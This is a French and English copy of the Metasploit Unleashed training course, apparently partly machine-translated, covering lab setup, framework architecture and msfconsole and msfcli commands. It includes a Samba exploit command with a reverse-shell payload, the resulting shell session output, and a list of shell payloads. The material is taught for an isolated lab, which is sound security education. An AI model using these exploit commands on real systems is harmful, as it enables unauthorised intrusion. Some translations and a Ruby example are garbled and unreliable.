METASPLOIT UNLEASHED
METASPLOIT UNLEASHED – FREE
ETHICAL HACKING COURSE
METASPLOIT LIBÉRÉ
METASPLOIT UNLEASHED – COURS DE PIRATAGE ÉTHIQUE GRATUIT
Le cours Metasploit Unleashed (MSFU) est offert gratuitement par Offensive Security
afin de sensibiliser les enfants défavorisés en Afrique de l'Est. Si vous appréciez ce
cours gratuit de piratage éthique, nous vous demandons de faire un don à l'organisation
à but non lucratif Hackers For Charity 501(c)(3). Une somme de 9,00 $ nourrira un
enfant pendant un mois, donc toute contribution fait une différence.
Metasploit Unleashed - Formation gratuite sur la sécurité
du piratage éthique
Nous sommes fiers de présenter le guide Metasploit le
plus complet et le plus approfondi disponible, avec les
contributions des auteurs du livre No Starch Press
Metasploit. Ce cours est un point de départ idéal pour
les professionnels de la sécurité de l'information qui
souhaitent apprendre les tests d'intrusion et le piratage
éthique, mais ne sont pas encore prêts à s'engager dans
un cours payant. Nous vous apprendrons à utiliser
Metasploit, de manière structurée et intuitive. De plus, ce
cours de piratage éthique en ligne gratuit constitue une
excellente référence rapide pour les testeurs d'intrusion,
les équipes rouges et autres professionnels de la
sécurité.
Nous espérons que vous apprécierez le cours Metasploit
Unleashed autant que nous l'avons fait !
COMMENCER
Pour commencer, utilisez le menu de navigation sur
votre gauche pour suivre ce cours gratuit Metasploit.
Aucune inscription ou inscription n'est nécessaire !
PAGE SUIVANTE >
Faire un don – Aidez à nourrir un enfant
INTRODUCTION À
METASPLOIT
"Si j'avais huit heures pour abattre un arbre, je passerais les six premières heures à affûter ma
hache."
-Abraham Lincoln
Introduction à Metasploit | Metasploit déchaîné
Ce dicton nous suit depuis de nombreuses années et nous rappelle
constamment qu'aborder un problème avec le bon ensemble d'outils
est essentiel pour réussir. Alors qu'est-ce que cette ouverture semi-
philosophique a à voir avec le Framework Metasploit ? Avant
d'aborder un test d'intrusion ou un audit, nous prenons toujours soin de « affûter nos
outils » et de tout mettre à jour dans Kali, notamment le Framework Metasploit.
QU'EST-CE QUE METASPLOIT?
Le Metasploit Framework (MSF) est bien plus qu'une simple
collection d'exploits - c'est aussi une base solide sur laquelle vous
pouvez vous appuyer et personnaliser facilement pour répondre à
vos besoins. Cela vous permet de vous concentrer sur votre
environnement cible unique et de ne pas avoir à réinventer la roue.
Nous considérons que le MSF est l'un des outils d'audit de sécurité
les plus utiles et disponibles gratuitement pour les professionnels de
la sécurité aujourd'hui. D'un large éventail d'exploits de qualité
commerciale et d'un environnement de développement d'exploits
étendu, jusqu'aux outils de collecte d'informations réseau et aux
plug-ins de vulnérabilité Web, Metasploit Framework fournit un
environnement de travail vraiment impressionnant.
Ce cours a été écrit de manière à englober non seulement les aspects
«utilisateurs» frontaux du framework, mais plutôt à vous donner une
introduction aux fonctionnalités fournies par Metasploit. Notre
objectif est de vous donner un aperçu approfondi des nombreuses
fonctionnalités de Metasploit et de vous fournir les compétences et
la confiance nécessaires pour tirer parti de cet outil incroyable.
Je ne comprends pas la commande XYZ, que dois-je faire ?
Pour apprendre à utiliser Metasploit, un certain degré de
connaissances préalables est attendu et requis des étudiants avant
que le contenu fourni dans ce cours ne soit utile. Si vous constatez
que vous n'êtes pas familier avec un certain sujet, nous vous
recommandons de passer du temps à vous engager dans une
recherche personnelle sur le problème avant d'essayer le module. Il
n'y a rien de plus satisfaisant que de résoudre un problème vous-
même, nous vous encourageons donc vivement à essayer plus fort™
< PAGE PRÉCÉDENTE
Faire un don – Aidez à nourrir un enfant
PAGE SUIVANTE >
Metasploit Unleashed Exigences
EXIGENCES DE METASPLOIT LIBÉRÉ
Préparez votre environnement de laboratoire Metasploit
Avant d'apprendre à utiliser le framework Metasploit, nous devons
d'abord nous assurer que notre configuration satisfera ou dépassera
la configuration système requise décrite dans les sections suivantes.
Prendre le temps de préparer correctement votre environnement de
laboratoire Metasploit aidera à éliminer de nombreux problèmes
avant qu'ils ne surviennent plus tard dans le cours. Nous vous
recommandons fortement d'utiliser un système capable d'exécuter
plusieurs machines virtuelles pour héberger vos laboratoires.
EXIGENCES MATÉRIELLES DE METASPLOIT UNLEASHED
Toutes les valeurs énumérées ci-dessous sont estimées ou
recommandées. Vous pouvez vous en tirer avec moins dans certains
cas, mais sachez que les performances en souffriront, ce qui rendra
l'expérience d'apprentissage moins qu'idéale.
Espace disque dur
Vous aurez besoin d'avoir, au minimum, 10 gigaoctets d'espace de
stockage disponible sur votre hôte. Étant donné que nous utilisons
des machines virtuelles avec des fichiers de grande taille, cela signifie
que nous ne pouvons pas utiliser une partition FAT32 car les fichiers
volumineux ne sont pas pris en charge dans ce système de fichiers,
alors assurez-vous de choisir NTFS, ext3 ou un autre format de
système de fichiers. La quantité recommandée d'espace requis est de
30 gigaoctets.
Si vous décidez de créer des clones ou des instantanés de votre (vos)
machine(s) virtuelle(s) au fur et à mesure de votre progression dans
le cours, ceux-ci occuperont également un espace précieux sur votre
système. Soyez vigilant et n'ayez pas peur de récupérer de l'espace
au besoin.
MÉMOIRE DISPONIBLE
Ne pas fournir suffisamment de mémoire à vos systèmes
d'exploitation hôte et invité entraînera éventuellement une
défaillance du système et/ou entraînera l'impossibilité de lancer
votre (vos) machine(s) virtuelle(s). Vous allez avoir besoin de RAM
pour votre système d'exploitation hôte ainsi que de la quantité de
RAM que vous dédiez pour chaque machine virtuelle. Utilisez le guide
ci-dessous pour vous aider à déterminer la quantité de RAM requise
pour votre situation.
Configuration minimale de la mémoire Linux « HOST »
1 Go de mémoire système (RAM)
En réalité 2 Go ou plus
Kali « GUEST » Exigences de mémoire minimales
Au moins 1 Go de RAM (2 Go sont recommandés) // plus ne fait
jamais de mal !
De manière réaliste 2 Go ou plus avec un fichier SWAP de valeur
égale
Exigences de mémoire minimales « GUEST » métasploitables
Au moins 256 Mo de RAM (512 Mo sont recommandés) // plus ne fait
jamais de mal !
(Facultatif) Par Windows « GUEST » Exigences de mémoire minimales
Au moins 256 Mo de RAM (1 Go est recommandé) // plus ne fait
jamais de mal !
De manière réaliste 1 Go ou plus avec un fichier d'échange de valeur
égale
PROCESSEUR
Pour garantir la meilleure expérience, nous recommandons un
processeur quad-core 64 bits ou supérieur. Le strict minimum requis
pour VMware Player est un processeur de 400 MHz ou plus rapide
(500 MHz recommandé), mais ces vitesses sont insuffisantes pour les
besoins de ce cours. Plus vous pouvez lancer de chevaux-vapeur dans
votre laboratoire, mieux c'est.
ACCESSIBILITÉ INTERNET
La configuration de votre laboratoire nécessitera le téléchargement
de grandes machines virtuelles, vous souhaiterez donc disposer d'une
bonne connexion haut débit pour le faire. Si vous choisissez d'utiliser
la mise en réseau « pontée » pour vos machines virtuelles et qu'il n'y
a pas de serveur DHCP sur votre réseau, vous devrez attribuer des
adresses IP statiques à vos machines virtuelles invitées.
EXIGENCES LOGICIELLES DE METASPLOIT UNLEASHED
Avant de nous lancer dans Metasploit Framework, nous aurons
besoin d'une machine attaquante (Kali Linux) et d'une machine
victime (metasploitable 2) ainsi que d'un hyperviseur pour
fonctionner à la fois dans un environnement réseau sécurisé et isolé.
HYPERVISEUR
Notre hyperviseur recommandé pour la meilleure compatibilité prête
à l'emploi avec Kali et métasploitable est VMware Player. Bien que
VMware Player soit « gratuit », vous devrez vous inscrire pour le
télécharger, et les applications et appliances de virtualisation valent
bien l'inscription si vous n'avez pas encore de compte. Vous pouvez
également utiliser VMware Workstation ou VMware Fusion, mais ni
l'un ni l'autre n'est gratuit.
Il existe également d'autres options disponibles en ce qui concerne
l'hyperviseur que vous souhaitez utiliser. En plus de VMware,
VirtualBox et KVM sont deux autres hyperviseurs couramment
utilisés, mais ils ne sont pas traités ici. Les instructions d'installation
de Kali Linux sont disponibles sur le site Kali Training.
KALI LINUX
Kali Linux est une distribution Linux avancée de test d'intrusion et
d'audit de sécurité qui sera utilisée tout au long de ce cours. Kali
Linux est livré avec Metasploit pré-installé ainsi que de nombreux
autres outils de sécurité que vous pouvez essayer contre votre
machine victime. Vous pouvez télécharger la dernière version de Kali
sur :
http://www.kali.org/downloads/
Une fois que vous avez téléchargé Kali, vous pouvez mettre à jour
Metasploit vers la dernière version du référentiel en exécutant apt
update && apt upgrade dans un terminal.
METASPLOITABLE
L'un des problèmes que vous rencontrez lorsque vous apprenez à
utiliser un framework d'exploitation est d'essayer de trouver et de
configurer des cibles à analyser et à attaquer. Heureusement,
l'équipe Metasploit en est consciente et a publié une machine
virtuelle VMware vulnérable appelée "Metasploitable".
Metasploitable est une machine virtuelle Linux intentionnellement
vulnérable qui peut être utilisée pour dispenser une formation à la
sécurité, tester des outils de sécurité et mettre en pratique des
techniques de test de pénétration courantes. La machine virtuelle
fonctionnera sur tous les produits VMware récents et d'autres
technologies de visualisation telles que VirtualBox. Vous pouvez
télécharger le fichier image de Metasploitable 2 depuis SourceForge.
N'exposez jamais Metasploitable à un réseau non fiable, utilisez le
mode NAT ou Host-only !
Une fois que vous avez téléchargé la machine virtuelle
Metasploitable, extrayez le fichier zip, ouvrez le fichier .vmx à l'aide
du produit VMware de votre choix et allumez-le. Après un bref
instant, le système sera démarré et prêt à l'action. Le nom
d'utilisateur et le mot de passe par défaut sont msfadmin:msfadmin.
Pour plus d'informations sur la configuration de la VM, il existe un
guide d'exploitabilité Metasploitable 2 sur le site de Rapid7 mais
attention… il contient des spoilers.
Pour contacter les développeurs de Metasploit, veuillez envoyer un
email à msfdev [a] metasploit [period] com
LES FENÊTRES
Microsoft a mis à disposition un certain nombre de machines
virtuelles qui peuvent être téléchargées pour tester Microsoft Edge et
différentes versions d'Internet Explorer. Nous pourrons utiliser ces
machines virtuelles lorsque nous travaillerons avec certains des
exploits et outils disponibles dans Metasploit. Vous pouvez
télécharger les VM à partir de l'URL suivante :
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
Une fois que vous avez satisfait aux exigences système ci-dessus,
vous ne devriez avoir aucun problème à exécuter les didacticiels du
cours Metasploit Unleashed.
< PAGE PRÉCÉDENTE
Introduction à Metasploit PAGE SUIVANTE >
Architecture Metasploit
METASPLOIT ARCHITECTURE
Metasploit Architecture Info-Graphic
Metasploit is written in Ruby and has been in development for many years. At first
glance, the size of the project can be daunting but you will rarely need to delve deeply
into its architecture. In these next few sections, we will provide a high-level overview of
how Metasploit is put together, which will be very valuable in getting comfortable with it.
‹ PREVIOUS PAGEMetasploit Unleashed Requirements
SYSTÈME DE FICHIERS ET
BIBLIOTHÈQUES METASPLOIT
COMPRENDRE L'ARCHITECTURE
METASPLOIT
On peut plus facilement comprendre l'architecture
Metasploit en regardant sous son capot. En apprenant à
utiliser Metasploit, prenez le temps de vous familiariser
avec son système de fichiers et ses bibliothèques. Dans
Kali Linux, Metasploit est fourni dans le package
metasploit-framework et est installé dans le répertoire
/usr/share/metasploit-framework, dont le niveau
supérieur est indiqué ci-dessous.
Système de fichiers Metasploit
Le système de fichiers MSF est présenté de manière intuitive
et est organisé par répertoire. Certains des répertoires les
plus importants sont brièvement décrits ci-dessous.
LES DONNÉES
Le répertoire de données contient des fichiers modifiables
utilisés par Metasploit pour stocker les binaires requis pour
certains exploits, listes de mots, images, etc.
root@kali:~# ls /usr/share/metasploit-framework/data/
cpuinfo ipwn meterpreter snmp
webcam
eicar.com isight.bundle mime.yml sounds
wmap
eicar.txt john.conf msfcrawler SqlClrPayload
wordlists
emailer_config.yaml lab passivex templates
exploits logos php vncdll.x64.dll
flash_detector markdown_doc post vncdll.x86.dll
DOCUMENTATION
Comme son nom l'indique, le répertoire de documentation
contient la documentation disponible pour le framework.
root@kali:~# ls /usr/share/metasploit-framework/documentation/
changelog.Debian.gz CONTRIBUTING.md.gz
developers_guide.pdf.gz README.md
CODE_OF_CONDUCT.md copyright modules
LIB
Le répertoire lib contient la « viande » de la base de code du
framework.
root@kali:~# ls /usr/share/metasploit-framework/lib/
anemone msfenv.rb rbmysql.rb sqlmap
anemone.rb net rex tasks
enumerable.rb postgres rex.rb telephony
metasm postgres_msf.rb robots.rb telephony.rb
metasploit rabal snmp
windows_console_color_support.rb
msf rbmysql snmp.rb
MODULES
Le répertoire des modules est l'endroit où vous trouverez les
modules MSF réels pour les exploits, les modules auxiliaires
et post-modules, les charges utiles, les encodeurs et les
générateurs de nop.
root@kali:~# ls /usr/share/metasploit-framework/modules/
auxiliary encoders exploits nops payloads post
PLUGINS
Comme vous le verrez plus loin dans ce cours, Metasploit
comprend de nombreux plugins, que vous trouverez dans ce
répertoire
root@kali:~# ls /usr/share/metasploit-framework/plugins/
aggregator.rb ips_filter.rb openvas.rb
sounds.rb
alias.rb komand.rb pcap_log.rb
sqlmap.rb
auto_add_route.rb lab.rb request.rb
thread.rb
beholder.rb libnotify.rb rssfeed.rb
token_adduser.rb
db_credcollect.rb msfd.rb sample.rb
token_hunter.rb
db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb
event_tester.rb nessus.rb session_tagger.rb wmap.rb
ffautoregen.rb nexpose.rb socket_logger.rb
SCRIPTS
Le répertoire des scripts contient Meterpreter et d'autres
scripts.
root@kali:~# ls /usr/share/metasploit-framework/scripts/
meterpreter ps resource shell
TOOLS
Le répertoire tools contient divers utilitaires de ligne de
commande utiles.
root@kali:~# ls /usr/share/metasploit-framework/tools/
context dev exploit hardware memdump modules password
recon
Metasploit Libraries
Il existe un certain nombre de bibliothèques MSF qui nous
permettent d'exécuter nos exploits sans avoir à écrire de
code supplémentaire pour des tâches rudimentaires, telles
que des requêtes HTTP ou l'encodage de charges utiles.
Certaines des bibliothèques les plus importantes sont
décrites ci-dessous.
REX
La bibliothèque de base pour la plupart des tâches
Gère les sockets, les protocoles, les transformations de texte
et autres
SSL, SMB, HTTP, XOR, Base64, Unicode
MSF::CORE
Fournit l'API « de base »
Définit le framework Metasploit
MSF::BASE
Fournit l'API « conviviale »
Fournit des API simplifiées à utiliser dans le Framework
Tout au long de ce cours, nous aborderons comment utiliser
d'autres outils directement dans Metasploit. Comprendre
comment les choses sont stockées et liées au système de
fichiers Metasploit vous aidera à utiliser la msfconsole et les
autres interfaces Metasploit.
< PAGE PRÉCÉDENTE
Architecture Metasploit PAGE SUIVANTE >
Modules et
emplacements
Metasploit
MODULES ET EMPLACEMENTS METASPLOIT
Presque toute votre interaction avec Metasploit se fera à
travers ses nombreux modules, qu'il recherche à deux
endroits. Le premier est le magasin de modules principal sous
/usr/share/metasploit-framework/modules/ et le second, où
vous stockerez les modules personnalisés, se trouve sous
votre répertoire personnel dans ~/.msf4/modules/.
root@kali:~# ls /usr/share/metasploit-framework/modules/
auxiliary encoders exploits nops payloads post
Tous les modules Metasploit sont organisés dans des
répertoires séparés, selon leur objectif. Un aperçu de base
des différents types de modules Metasploit est présenté ci-
dessous.
Exploits
Dans Metasploit Framework, les modules d'exploit sont
définis comme des modules qui utilisent des charges utiles.
root@kali:~# ls /usr/share/metasploit-
framework/modules/exploits/
aix bsdi firefox irix multi solaris
android dialup freebsd linux netware unix
apple_ios example.rb hpux mainframe osx windows
Auxiliary
Les modules auxiliaires comprennent des scanners de ports,
des fuzzers, des renifleurs, etc.
root@kali:~# ls /usr/share/metasploit-
framework/modules/auxiliary/
admin client dos gather scanner spoof vsploit
analyze crawler example.rb parser server sqli
bnat docx fuzzers pdf sniffer voip
Payloads, Encoders, Nops
Les charges utiles sont constituées de code qui s'exécute à
distance, tandis que les encodeurs garantissent que les
charges utiles parviennent intactes à leur destination. Nops
maintient les tailles de charge utile cohérentes entre les
tentatives d'exploit.
root@kali:~# ls /usr/share/metasploit-
framework/modules/payloads/
singles stagers stages
root@kali:~# ls /usr/share/metasploit-
framework/modules/encoders/
cmd generic mipsbe mipsle php ppc ruby sparc x64 x86
root@kali:~# ls /usr/share/metasploit-framework/modules/nops/
aarch64 armle mipsbe php ppc sparc tty x64 x86
Chargement d'arborescences de modules supplémentaires
Metasploit vous donne la possibilité de charger des modules
soit au moment de l'exécution, soit après le démarrage de
msfconsole. Passez l'option -m lors de l'exécution de
msfconsole pour charger des modules supplémentaires lors
de l'exécution :
root@kali:~# msfconsole -m ~/secret-modules/
Si vous devez charger des modules supplémentaires à partir
de msfconsole, utilisez la commande loadpath :
msf > loadpath
Usage: loadpath </path/to/modules>
Loads modules from the given directory which should contain
subdirectories for
module types, e.g. /path/to/modules/exploits
msf > loadpath /usr/share/metasploit-framework/modules/
Loaded 399 modules:
399 payloads
‹ PREVIOUS PAGE
Metasploit Filesystem and Libraries
NEXT PAGE ›
Metasploit Object Model
MODÈLE OBJET METASPLOIT
COMPRENDRE LE MODÈLE OBJET METASPLOIT
Dans le framework Metasploit, tous les modules sont des
classes Ruby.
Les modules héritent de la classe spécifique au type
La classe spécifique au type hérite de la classe Msf::Module
Il existe une API commune partagée entre les modules
Les charges utiles sont légèrement différentes.
Les charges utiles sont créées au moment de l'exécution à
partir de divers composants
Coller des scènes avec des scènes
< PAGE PRÉCÉDENTE
METASPLOIT MIXINS AND
PLUGINS
A QUICK DIVERSION INTO RUBY
Chaque classe n'a qu'un seul parent
Une classe peut inclure plusieurs modules
Les modules peuvent ajouter de nouvelles méthodes
Les modules peuvent surcharger les anciennes méthodes
Les modules Metasploit héritent de Msf::Module et incluent
des mixins pour ajouter des fonctionnalités.
MÉLANGES METASPLOIT
Les mixins sont tout simplement la raison pour laquelle Ruby
rock.
Les mixins incluent une classe dans une autre
Ceci est à la fois différent et similaire à l'héritage
Les mixins peuvent remplacer les méthodes d'une classe
Les mixins peuvent ajouter de nouvelles fonctionnalités et
permettent aux modules d'avoir différentes « saveurs ».
Spécifique au protocole (HTTP, SMB)
Spécifique au comportement (force brute)
connect() est implémenté par le mixin TCP
connect() est alors surchargé par FTP, SMB et autres
Les mixins peuvent changer le comportement.
Le scanner mixin surcharge run()
Le scanner modifie run() pour run_host() et run_range()
Il les appelle en parallèle en fonction du paramètre THREADS
Le mixin BruteForce est similaire
METASPLOIT PLUGINS
PLUGINS METASPLOIT
Les plugins fonctionnent directement avec l'API.
Ils manipulent le cadre dans son ensemble
Les plugins se connectent au sous-système d'événements
Ils automatisent des tâches spécifiques qui seraient fastidieuses à faire manuellement
Les plugins ne fonctionnent que dans la msfconsole.
Les plugins peuvent ajouter de nouvelles commandes de console
Ils étendent la fonctionnalité globale du Framework
class MyParent
def woof
puts “woof!”
end
end
class MyClass > MyParent
end
object = MyClass.new
object.woof() => “woof!”
===============================================================
=
module MyMixin
def woof
puts “hijacked the woof method!”
end
end
class MyBetterClass > MyClass
include MyMixin
end
‹ PREVIOUS PAGE
Metasploit Object Model
NEXT PAGE ›
Metasploit Fundamentals
METASPLOIT FUNDAMENTALS
En apprenant à utiliser Metasploit, vous découvrirez qu'il
existe de nombreuses interfaces différentes à utiliser avec cet
outil de piratage, chacune avec ses propres forces et faiblesses.
En tant que tel, il n'y a pas d'interface parfaite à utiliser avec la
console Metasploit, bien que la MSFConsole soit le seul
moyen pris en charge d'accéder à la plupart des commandes
Metasploit. Cependant, il est toujours avantageux d'être à l'aise
avec toutes les interfaces Metasploit.
Le prochain didacticiel Metasploit fournira un aperçu des
différentes interfaces, ainsi qu'une discussion sur l'utilisation
optimale de chacune.
< PAGE PRÉCÉDENTE
Mixins et plugins Metasploit
PAGE SUIVANTE >
Utilisation de l'interface MSFcli
SING THE MSFCLI INTERFACE
WHAT IS THE MSFCLI?
The msfcli provides a powerful command line interface to the framework. This allows
you to easily add Metasploit exploits into any scripts you may create.
Note: As of 2015-06-18 msfcli has been removed. One way to obtain similar functionality through msfconsole is
by using the -x option. For example, the following command sets all the options for samba/usermap_script and
runs it against a target:
root@kali:~# msfconsole -x "use
exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"
Command Line Interface Commands
Running the msfcli help command:
root@kali:~# msfcli -h
Usage: /usr/bin/msfcli<option=value> [mode]
===========================================================
Mode Description
---- -----------
(A)dvanced Show available advanced options for this
module
(AC)tions Show available actions for this auxiliary
module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
(H)elp You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this
module
(O)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit
module
Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp
lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder=
post= nop= E
Note: when using msfcli, variables are assigned using the “equal to” operator = and that
all options are case-sensitive.
root@kali:~# msfcli exploit/multi/samba/usermap_script
RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse
LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
## ### ##
##
## ## #### ###### #### ##### ##### ## ####
######
####### ## ## ## ## ## ## ## ## ## ## ###
##
####### ###### ## ##### #### ## ## ## ## ## ##
##
## # ## ## ## ## ## ## ##### ## ## ## ##
##
## ## #### ### ##### ##### ## #### #### ####
###
##
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
RHOST => 172.16.194.172
PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:57682) at 2012-06-14 09:58:19 -0400
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10
13:58:00 UTC 2008 i686 GNU/Linux
If you aren’t entirely sure about what options belong to a particular module, you can
append the letter O to the end of the string at whichever point you are stuck.
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
To display available payloads for the current module, append the letter P to the msfcli
command line string.
root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...
Compatible payloads
===================
Name Description
---- -----------
cmd/unix/bind_awk Listen for a connection
and spawn a command shell via GNU AWK
cmd/unix/bind_inetd Listen for a connection
and spawn a command shell (persistent)
cmd/unix/bind_lua Listen for a connection
and spawn a command shell via Lua
cmd/unix/bind_netcat Listen for a connection
and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping Listen for a connection
and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6 Listen for a connection
and spawn a command shell via netcat
cmd/unix/bind_perl Listen for a connection
and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection
and spawn a command shell via perl
cmd/unix/bind_ruby Continually listen for a
connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a
connection and spawn a command shell via Ruby
cmd/unix/bind_zsh
Listen for a connection and spawn a command shell via
Zsh. Note: Although Zsh is
often available, please be aware it isn't usually
installed by default.
cmd/unix/generic Executes the supplied
command
cmd/unix/reverse Creates an interactive
shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive
shell via GNU AWK
cmd/unix/reverse_lua Creates an interactive
shell via Lua
cmd/unix/reverse_netcat Creates an interactive
shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive
shell via netcat
cmd/unix/reverse_openssl Creates an interactive
shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive
shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive
shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive
shell via php, uses SSL
cmd/unix/reverse_python Connect back and create
a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive
shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_ruby Connect back and create
a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create
a command shell via Ruby, uses SSL
cmd/unix/reverse_ssl_double_telnet Creates an interactive
shell through two inbound connections, encrypts using SSL via
"-z" option
cmd/unix/reverse_zsh
Connect back and create a command shell via Zsh. Note:
Although Zsh is often
available, please be aware it isn't usually installed
by default.
Benefits of the MSFcli Interface
Supports the launching of exploits and auxiliary modules
Useful for specific tasks
Good for learning
Convenient to use when testing or developing a new exploit
Good tool for one-off exploitation
Excellent if you know exactly which exploit and options you need
Wonderful for use in scripts and basic automation
The only real drawback of msfcli is that it is not supported quite as well as msfconsole
and it can only handle one shell at a time, making it rather impractical for client-side
attacks. It also doesn’t support any of the advanced automation features of msfconsole.
‹ PREVIOUS PAGE
Metasploit Fundamentals
NEXT PAGE ›
MSFconsole Commands
MSFCONSOLE COMMANDS
msfconsole core commands | Metasploit Unleashed
MSFCONSOLE CORE COMMANDS
TUTORIAL
La console MSF propose de nombreuses options de commande différentes. Voici un
ensemble de commandes Metasploit de base en référence à leur sortie.
output.
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
go_pro Launch Metasploit web GUI
grep Grep the output of another command
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
popm Pops the latest module off the stack and makes it
active
previous Sets the previously loaded module as the current
module
pushm Pushes the active or list of modules onto the
module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information
about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the
screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version
numbers
BACK
Une fois que vous avez fini de travailler avec un module
particulier, ou si vous sélectionnez par inadvertance le
mauvais module, vous pouvez exécuter la commande back
pour sortir du contexte actuel. Ceci n'est cependant pas
obligatoire. Tout comme vous pouvez le faire dans les
routeurs commerciaux, vous pouvez changer de module à
partir d'autres modules. Pour rappel, les variables ne seront
reportées que si elles sont définies globalement.
msf auxiliary(ms09_001_write) > back
msf >
BANNER
Affiche simplement une bannière sélectionnée au hasard
msf > banner
_ _
/ / __ _ __ /_/ __
| | / | _____ ___ _____ | | / _
| | /| | | ___ |- -| / / __ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / - __ | | | | __/| | | |_
|/ |____/ ___/ / \___/ / __| |_ ___
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting
with
Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.11.4-2015071402 ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
CHECK
Il n'y a pas beaucoup d'exploits qui le prennent en charge,
mais il existe également une option de vérification qui
vérifiera si une cible est vulnérable à un exploit particulier au
lieu de l'exploiter réellement.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use
(BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf exploit(ms08_067_netapi) >
COLOR
Vous pouvez activer ou désactiver si la sortie que vous
obtenez via la msfconsole contiendra des couleurs.
msf > color
Usage: color >'true'|'false'|'auto'>
Enable or disable color output.
CONNECT
Il existe un clone Netcat miniature intégré à la msfconsole qui
prend en charge SSL, les proxys, le pivotement et les
transferts de fichiers. En émettant la commande connect avec
une adresse IP et un numéro de port, vous pouvez vous
connecter à un hôte distant à partir de msfconsole comme vous
le feriez avec Netcat ou Telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:
Vous pouvez voir toutes les options supplémentaires en
émettant le paramètre -h.
msf > connect -h
Usage: connect [options]
Communicate with a host, similar to interacting via netcat,
taking advantage of
any configured session pivoting.
OPTIONS:
-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, then return.
msf >
EDIT
La commande d'édition éditera le module actuel avec
$VISUAL ou $EDITOR. Par défaut, cela ouvrira le module
actuel dans Vim.
msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-
framework/modules/exploits/windows/smb/ms10_061_spoolss.rb
##
# This module requires Metasploit:
http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-
framework
##
require 'msf/core'
require 'msf/windows_error'
class Metasploit3 > Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
EXIT
La commande exit quittera simplement msfconsole.
msf exploit(ms10_061_spoolss) > exit
root@kali:~#
